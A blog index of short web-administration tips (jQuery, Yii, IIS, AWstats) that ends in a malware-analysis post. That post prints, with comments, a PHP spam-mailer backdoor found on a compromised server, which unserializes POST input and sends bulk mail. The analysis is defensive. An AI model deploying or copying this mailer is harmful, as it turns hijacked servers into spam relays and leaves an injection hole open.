How to check visibility state in jQuery toggle function?

Here is a quick tip how to check visibility state of a toggled element in jQuery:

$('#element').toggle('slow', function() {
  if($(this).is(':hidden')) {
    $(this).text('This element is hidden.');
  else {
    $(this).text('This element is visible.');

Force Yii to republish assets every page refresh

During webapp development you’ll need often assets republication. When you publish assets using directory path, framework won’t republish them automaticaly. So what can you do? It’s plain simple. Use YII_DEBUG constant as fourth argument in publish function.

$assetPath = Yii::app()->assetManager->publish(Yii::getPathOfAlias('application.modules.components.assets'), false, 1, YII_DEBUG);

From this moment Yii will republish assets on every page refresh only in debug mode (it won’t consume your resources in production mode).

How to change computer name remotely using Windows 7?

There is a command line tool called netdom. Unfortunately it’s not preinstalled on Windows 7. This guide will show how to add this tool to your system and how to change remote computer name.

Continue reading How to change computer name remotely using Windows 7?

jQuery advanced filter list plugin

This is a plugin for realtime list filtering using a text input. It’s very simple in use. Look at examples below:

Init filter:

$(document).ready(function() {
inputSelector: '#filter-input'

inputSelector is the only option required by plugin. It’s a jQuery selector for input field that will be used for list filtering.

Detach filter:


Disable filtering for the specified list (by a selector).

Optional settings:

  • caseSensitive true|false – enable or disable letter case sensitivity (it’s turned off by default).
  • noResultsText string – text that appears if no element matches text (by default it’s english).
  • duration integer – animation speed in miliseconds.
  • zebra true|false – add even class to even elements on the list (true by default).


Check demo at:


How to remove unwanted HTTP Response Headers in IIS 7.5

Hiding server software is one of ways to protect your services from hackers. It’s quite easy to obscure IIS identity. In few steps I’ll show you how to accomplish this task on WIMP stack.

Continue reading How to remove unwanted HTTP Response Headers in IIS 7.5

How to manualy recreate AWstats logs on Windows

Sometimes it happens that your scheduled task on Windows missed some logs. I’ve recently had a such problem because I’ve deleted a Windows user that created AWstats task. What did I do to repair this awkward situation?

Firstly you cannot simply regenerate daily log from the past. In this case AWstats will simply skip old records. Follow this steps:

  1. Go to AWstats data directory (AWstats\cgi-bin\data).
  2. Use Windows search ability to show only problematic files (if file name is awstats102013.yoursite.txt simply type yoursite in a searchbox).
  3. Mark all found files and move them to the temporary location.
  4. Now run Windows cmd.
  5. Go to AWstats tools dir. In my case:
    cd C:\awstats-7.0\tools
  6. Now create a merged log for a problematic website:
    :: where xx is unique IIS webiste id L:\LOG_DIR\W3SVCxx\* > L:\LOG_DIR\W3SVCxx\merged.log
  7. Go to location:
    cd w:\wwwroot\AWstats\cgi-bin\
  8. Parse merged file: -config=yoursite -LogFile=L:\LOG_DIR\W3SVCxx\merged.log -update
  9. Place files from steps 2-3 back to their location. Don’t overwrite new files! Simply skip old ones.
  10. You should be able to see complete stats for your website.

TIP: How to dermine your webiste unique id? Simply go to IIS manager and click advanced settings in a right pane after selecting website.

PHP malicious code analysis no. 1

I found this piece of a PHP malware code on a compromised web server that I started to administer. It’s name was random character string eg. acbjxuu.php. There were about 20 more scripts of this kind. It’s rather very simple script for spaming purposes. For your understanding I’ve wrote what it’s doing in comments between code lines.

if (isset($_POST['task']))
	// be sure to display all PHP errors
	ini_set('display_errors', TRUE);
	// disable default PHP memory limit
	ini_set('memory_limit', '512M');
	// disable PHP execution time limit
	// get serialized array from POST var named task
	// example array structure: array(array('to'=>'[email protected]', 'msg'=>'message content', 'subj'=>'Message subject ex. cheap cialis :)'));
	$x = unserialize(base64_decode($_POST['task']));
	// if task variable was wrongly serialized, just die silently...
	if ($x==false) {exit();}
	$send_from = base64_encode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
	// now send half a million of viagra & cialis related mails... 
	foreach ($x as $arr)
		echo $arr['to']."\r\n";
		$arr['msg'] = str_replace('[send_from_url]',$send_from,$arr['msg']);
		mail($arr['to'],$arr['subj'],$arr['msg'],"MIME-Version: 1.0\r\nContent-type: text/html; charset=windows-1251\r\n");
	exit('SEND OK');

I’ll look in logs for IP addresses that tried to reach for this scripts. Maybe I’ll find something interesting. Wish me good luck and monitor your webserver contents!